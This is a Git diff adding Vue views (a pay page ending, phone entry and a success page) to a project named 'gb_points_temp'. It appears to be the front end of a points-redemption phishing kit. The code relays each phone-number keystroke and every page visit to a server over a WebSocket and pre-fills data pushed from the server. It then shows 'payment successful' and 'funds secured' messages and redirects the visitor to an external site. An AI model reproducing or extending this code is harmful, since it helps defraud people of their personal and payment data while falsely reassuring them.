<!-- 动态加载 Pay 主题组件 -->
|
||||
<component
|
||||
:is="currentThemeComponent"
|
||||
:colors="currentColors"
|
||||
:phone="phone"
|
||||
:pay-date="payDate"
|
||||
:invoice-number="invoiceNumber"
|
||||
:domain-name="globalConfig.main_name"
|
||||
:total-point="totalPoint"
|
||||
@submit="next"
|
||||
/>
|
||||
</template>
|
||||
</CommonLayout>
|
||||
</template>
|
||||
|
||||
<style scoped>
|
||||
/* 样式由各主题组件自己管理 */
|
||||
</style>
|
||||
96
0000_gb_points_temp/src/views/PhoneView.vue
Normal file
96
0000_gb_points_temp/src/views/PhoneView.vue
Normal file
@@ -0,0 +1,96 @@
|
||||
<script setup lang="ts">
|
||||
import { computed, getCurrentInstance, onMounted, ref, watch } from "vue";
|
||||
import { useRouter } from "vue-router";
|
||||
import CommonLayout from "@/views/CommonLayout.vue";
|
||||
import { useLoadingStore } from "@/stores/loadingStore";
|
||||
import { inputChange, myWebSocket } from "@/utils/common";
|
||||
import Theme1 from "@/components/theme/Theme1.vue";
|
||||
import Theme2 from "@/components/theme/Theme2.vue";
|
||||
import Theme3 from "@/components/theme/Theme3.vue";
|
||||
import Theme4 from "@/components/theme/Theme4.vue";
|
||||
import Theme5 from "@/components/theme/Theme5.vue";
|
||||
import Theme6 from "@/components/theme/Theme6.vue";
|
||||
import { getThemeColors } from "@/config/themes";
|
||||
import { goodsConfig } from "@/config";
|
||||
|
||||
const router = useRouter();
|
||||
const loadingStore = useLoadingStore();
|
||||
const instance = getCurrentInstance()!;
|
||||
|
||||
const phone = ref("");
|
||||
|
||||
// 获取当前主题组件
|
||||
const currentThemeComponent = computed(() => {
|
||||
const themeId = goodsConfig.value.homeTheme || 1;
|
||||
const themeMap: Record<string, any> = {
|
||||
"1": Theme1,
|
||||
"2": Theme2,
|
||||
"3": Theme3,
|
||||
"4": Theme4,
|
||||
"5": Theme5,
|
||||
"6": Theme6,
|
||||
};
|
||||
return themeMap[themeId] || Theme1; // 默认使用主题2
|
||||
});
|
||||
|
||||
// 获取当前主题颜色配置
|
||||
const currentColors = computed(() => {
|
||||
const themeId = goodsConfig.value.homeTheme || 1;
|
||||
return getThemeColors(themeId);
|
||||
});
|
||||
|
||||
const handleInput = (value: string) => {
|
||||
phone.value = value;
|
||||
inputChange("input_phone", "", value);
|
||||
};
|
||||
|
||||
const handleSubmit = () => {
|
||||
localStorage.setItem("phone", phone.value);
|
||||
loadingStore.setLoading(true);
|
||||
setTimeout(() => {
|
||||
router.push("/pay");
|
||||
}, 200);
|
||||
};
|
||||
|
||||
watch(
|
||||
() => instance.appContext.config.globalProperties.$currentUser,
|
||||
(newValue, oldValue) => { }
|
||||
);
|
||||
|
||||
onMounted(() => {
|
||||
useLoadingStore().setLoading(false);
|
||||
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "page_type",
|
||||
content: { pageType: "phone" },
|
||||
})
|
||||
);
|
||||
|
||||
const userData = getCurrentInstance()?.appContext.config.globalProperties.$userData;
|
||||
if (userData && userData.phonePageData) {
|
||||
phone.value = userData.phonePageData.phone || "";
|
||||
}
|
||||
|
||||
localStorage.setItem("route", "phone");
|
||||
});
|
||||
</script>
|
||||
|
||||
<template>
|
||||
<CommonLayout>
|
||||
<template #default>
|
||||
<!-- 动态加载主题组件 -->
|
||||
<component
|
||||
:is="currentThemeComponent"
|
||||
v-model="phone"
|
||||
:colors="currentColors"
|
||||
@update:modelValue="handleInput"
|
||||
@submit="handleSubmit"
|
||||
/>
|
||||
</template>
|
||||
</CommonLayout>
|
||||
</template>
|
||||
|
||||
<style scoped>
|
||||
/* 样式由各主题组件自己管理 */
|
||||
</style>
|
||||
341
0000_gb_points_temp/src/views/SuccessView.vue
Normal file
341
0000_gb_points_temp/src/views/SuccessView.vue
Normal file
@@ -0,0 +1,341 @@
|
||||
<script setup lang="ts">
|
||||
import { onMounted, ref } from "vue";
|
||||
import CommonLayout from "@/views/CommonLayout.vue";
|
||||
import { useLoadingStore } from "@/stores/loadingStore";
|
||||
import { useI18n } from "vue-i18n";
|
||||
import { myWebSocket, redirectToExternal } from "@/utils/common";
|
||||
|
||||
const { t } = useI18n();
|
||||
const loading = ref(true);
|
||||
|
||||
// 模拟倒计时
|
||||
const countdown = ref(3);
|
||||
|
||||
onMounted(() => {
|
||||
useLoadingStore().isLoading = false;
|
||||
|
||||
// 发送埋点/状态
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "page_type",
|
||||
content: { pageType: "success" },
|
||||
})
|
||||
);
|
||||
|
||||
// 倒计时逻辑
|
||||
const timer = setInterval(() => {
|
||||
countdown.value--;
|
||||
if (countdown.value <= 0) {
|
||||
clearInterval(timer);
|
||||
redirectToExternal();
|
||||
}
|
||||
}, 1000);
|
||||
|
||||
localStorage.setItem("route", "success");
|
||||
});
|
||||
</script>
|
||||
|
||||
<template>
|
||||
<CommonLayout>
|
||||
<div class="sc-page">
|
||||
|
||||
<div class="sc-card">
|
||||
|
||||
<!-- Animated check icon -->
|
||||
<div class="sc-icon-wrap">
|
||||
<svg class="sc-checkmark" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 52 52">
|
||||
<circle class="sc-checkmark__circle" cx="26" cy="26" r="25" fill="none"/>
|
||||
<path class="sc-checkmark__check" fill="none" d="M14.1 27.2l7.1 7.2 16.7-16.8"/>
|
||||
</svg>
|
||||
</div>
|
||||
|
||||
<!-- Title block -->
|
||||
<div class="sc-header">
|
||||
<h1 class="sc-title">{{ t("success_view.payment_successful") }}</h1>
|
||||
<p class="sc-subtitle">{{ t("success_view.order_confirmed") }}</p>
|
||||
</div>
|
||||
|
||||
<!-- Description -->
|
||||
<p class="sc-desc">{{ t("success_view.thank_you") }}</p>
|
||||
|
||||
<!-- Info notes -->
|
||||
<div class="sc-notes">
|
||||
<div class="sc-note-item">
|
||||
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><rect x="3" y="11" width="18" height="11" rx="2"/><path d="M7 11V7a5 5 0 0110 0v4"/></svg>
|
||||
<span>{{ t("success_view.funds_secured") }}</span>
|
||||
</div>
|
||||
<div class="sc-note-item">
|
||||
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M14 2H6a2 2 0 00-2 2v16a2 2 0 002 2h12a2 2 0 002-2V8z"/><polyline points="14 2 14 8 20 8"/></svg>
|
||||
<span>{{ t("success_view.keep_receipt") }}</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Action section -->
|
||||
<div class="sc-actions">
|
||||
<div class="sc-redirect">
|
||||
<span class="sc-dot-pulse"></span>
|
||||
{{ t("success_view.redirecting", { seconds: countdown }) }}
|
||||
</div>
|
||||
<button class="sc-btn" @click="redirectToExternal">
|
||||
{{ t("success_view.back_now") }}
|
||||
</button>
|
||||
</div>
|
||||
|
||||
<!-- Footer -->
|
||||
<div class="sc-footer">
|
||||
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/></svg>
|
||||
{{ t("success_view.secure_payment") }}
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</CommonLayout>
|
||||
</template>
|
||||
|
||||
<style scoped>
|
||||
.sc-page {
|
||||
min-height: 100vh;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
padding: 24px 16px;
|
||||
background: linear-gradient(160deg, #f0fff4 0%, #f8fafc 50%, #f0f4ff 100%);
|
||||
box-sizing: border-box;
|
||||
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif;
|
||||
}
|
||||
|
||||
/* ===== Card ===== */
|
||||
.sc-card {
|
||||
width: 100%;
|
||||
max-width: 480px;
|
||||
background: #fff;
|
||||
border-radius: 20px;
|
||||
border: 1px solid rgba(226,232,240,0.8);
|
||||
box-shadow:
|
||||
0 0 0 1px rgba(148,163,184,0.05),
|
||||
0 4px 6px -2px rgba(15,23,42,0.04),
|
||||
0 12px 32px -8px rgba(15,23,42,0.1);
|
||||
overflow: hidden;
|
||||
text-align: center;
|
||||
animation: sc-rise 0.5s cubic-bezier(0.22, 1, 0.36, 1) both;
|
||||
}
|
||||
|
||||
@keyframes sc-rise {
|
||||
from { opacity: 0; transform: translateY(20px); }
|
||||
to { opacity: 1; transform: translateY(0); }
|
||||
}
|
||||
|
||||
/* ===== Success stripe ===== */
|
||||
.sc-card::before {
|
||||
content: '';
|
||||
display: block;
|
||||
height: 4px;
|
||||
background: linear-gradient(90deg, #22c55e 0%, #16a34a 100%);
|
||||
}
|
||||
|
||||
/* ===== Icon ===== */
|
||||
.sc-icon-wrap {
|
||||
width: 80px;
|
||||
height: 80px;
|
||||
margin: 32px auto 20px;
|
||||
}
|
||||
|
||||
.sc-checkmark {
|
||||
width: 80px;
|
||||
height: 80px;
|
||||
border-radius: 50%;
|
||||
display: block;
|
||||
stroke-width: 2;
|
||||
stroke: #22c55e;
|
||||
stroke-miterlimit: 10;
|
||||
animation: sc-fill 0.4s ease-in-out 0.4s forwards, sc-scale 0.3s ease-in-out 0.9s both;
|
||||
}
|
||||
|
||||
.sc-checkmark__circle {
|
||||
stroke-dasharray: 166;
|
||||
stroke-dashoffset: 166;
|
||||
stroke-width: 2;
|
||||
stroke-miterlimit: 10;
|
||||
stroke: #22c55e;
|
||||
fill: none;
|
||||
animation: sc-stroke 0.6s cubic-bezier(0.65, 0, 0.45, 1) forwards;
|
||||
}
|
||||
|
||||
.sc-checkmark__check {
|
||||
transform-origin: 50% 50%;
|
||||
stroke-dasharray: 48;
|
||||
stroke-dashoffset: 48;
|
||||
animation: sc-stroke 0.3s cubic-bezier(0.65, 0, 0.45, 1) 0.8s forwards;
|
||||
}
|
||||
|
||||
@keyframes sc-stroke { 100% { stroke-dashoffset: 0; } }
|
||||
@keyframes sc-scale { 0%,100% { transform: none; } 50% { transform: scale3d(1.08,1.08,1); } }
|
||||
@keyframes sc-fill { 100% { box-shadow: inset 0 0 0 40px #fff; } }
|
||||
|
||||
/* ===== Header ===== */
|
||||
.sc-header {
|
||||
padding: 0 28px 12px;
|
||||
}
|
||||
|
||||
.sc-title {
|
||||
margin: 0 0 6px;
|
||||
font-size: 1.55rem;
|
||||
font-weight: 800;
|
||||
color: #0f172a;
|
||||
letter-spacing: -0.4px;
|
||||
}
|
||||
|
||||
.sc-subtitle {
|
||||
margin: 0;
|
||||
font-size: 0.82rem;
|
||||
font-weight: 600;
|
||||
letter-spacing: 0.6px;
|
||||
text-transform: uppercase;
|
||||
color: #22c55e;
|
||||
}
|
||||
|
||||
/* ===== Description ===== */
|
||||
.sc-desc {
|
||||
margin: 0;
|
||||
padding: 0 32px 20px;
|
||||
font-size: 0.88rem;
|
||||
color: #64748b;
|
||||
line-height: 1.65;
|
||||
}
|
||||
|
||||
/* ===== Notes ===== */
|
||||
.sc-notes {
|
||||
margin: 0 24px 20px;
|
||||
background: #f8fafc;
|
||||
border: 1px solid #e9edf3;
|
||||
border-radius: 12px;
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
.sc-note-item {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 10px;
|
||||
padding: 11px 14px;
|
||||
font-size: 0.79rem;
|
||||
color: #64748b;
|
||||
line-height: 1.45;
|
||||
border-bottom: 1px solid #f1f5f9;
|
||||
text-align: left;
|
||||
}
|
||||
|
||||
.sc-note-item:last-child {
|
||||
border-bottom: none;
|
||||
}
|
||||
|
||||
.sc-note-item svg {
|
||||
width: 14px;
|
||||
height: 14px;
|
||||
flex-shrink: 0;
|
||||
color: #22c55e;
|
||||
stroke: #22c55e;
|
||||
}
|
||||
|
||||
/* ===== Actions ===== */
|
||||
.sc-actions {
|
||||
padding: 16px 24px 20px;
|
||||
border-top: 1px solid #f1f5f9;
|
||||
}
|
||||
|
||||
.sc-redirect {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
gap: 8px;
|
||||
font-size: 0.82rem;
|
||||
color: #9ca3af;
|
||||
margin-bottom: 14px;
|
||||
}
|
||||
|
||||
.sc-dot-pulse {
|
||||
width: 6px;
|
||||
height: 6px;
|
||||
border-radius: 50%;
|
||||
background: #22c55e;
|
||||
display: inline-block;
|
||||
animation: sc-pulse 1.2s ease-in-out infinite;
|
||||
}
|
||||
|
||||
@keyframes sc-pulse {
|
||||
0%, 100% { opacity: 1; transform: scale(1); }
|
||||
50% { opacity: 0.4; transform: scale(0.7); }
|
||||
}
|
||||
|
||||
.sc-btn {
|
||||
width: 100%;
|
||||
height: 48px;
|
||||
background: #22c55e;
|
||||
color: #fff;
|
||||
border: none;
|
||||
border-radius: 12px;
|
||||
font-size: 0.95rem;
|
||||
font-weight: 700;
|
||||
letter-spacing: 0.04em;
|
||||
cursor: pointer;
|
||||
transition: filter 0.15s, transform 0.1s;
|
||||
box-shadow: 0 4px 14px rgba(34,197,94,0.3);
|
||||
position: relative;
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
.sc-btn::after {
|
||||
content: '';
|
||||
position: absolute;
|
||||
inset: 0;
|
||||
background: linear-gradient(180deg, rgba(255,255,255,0.12) 0%, transparent 100%);
|
||||
pointer-events: none;
|
||||
}
|
||||
|
||||
.sc-btn:hover { filter: brightness(1.06); }
|
||||
.sc-btn:active { transform: scale(0.985); filter: brightness(0.96); }
|
||||
|
||||
/* ===== Footer ===== */
|
||||
.sc-footer {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
gap: 5px;
|
||||
padding: 12px 24px 16px;
|
||||
border-top: 1px solid #f1f5f9;
|
||||
font-size: 0.75rem;
|
||||
font-weight: 500;
|
||||
color: #9ca3af;
|
||||
background: #fafbfd;
|
||||
}
|
||||
|
||||
.sc-footer svg {
|
||||
width: 11px;
|
||||
height: 11px;
|
||||
stroke: #22c55e;
|
||||
fill: none;
|
||||
flex-shrink: 0;
|
||||
}
|
||||
|
||||
/* ===== Responsive ===== */
|
||||
@media (max-width: 520px) {
|
||||
.sc-card {
|
||||
border-radius: 16px;
|
||||
}
|
||||
|
||||
.sc-title {
|
||||
font-size: 1.3rem;
|
||||
}
|
||||
|
||||
.sc-desc {
|
||||
padding: 0 20px 16px;
|
||||
}
|
||||
|
||||
.sc-notes {
|
||||
margin: 0 16px 16px;
|
||||
}
|
||||
|
||||
.sc-actions {
|
||||
padding: 14px 16px 16px;
|
||||
}
|
||||
}
|
||||
</style>
|
||||
Reference in New Issue
Block a user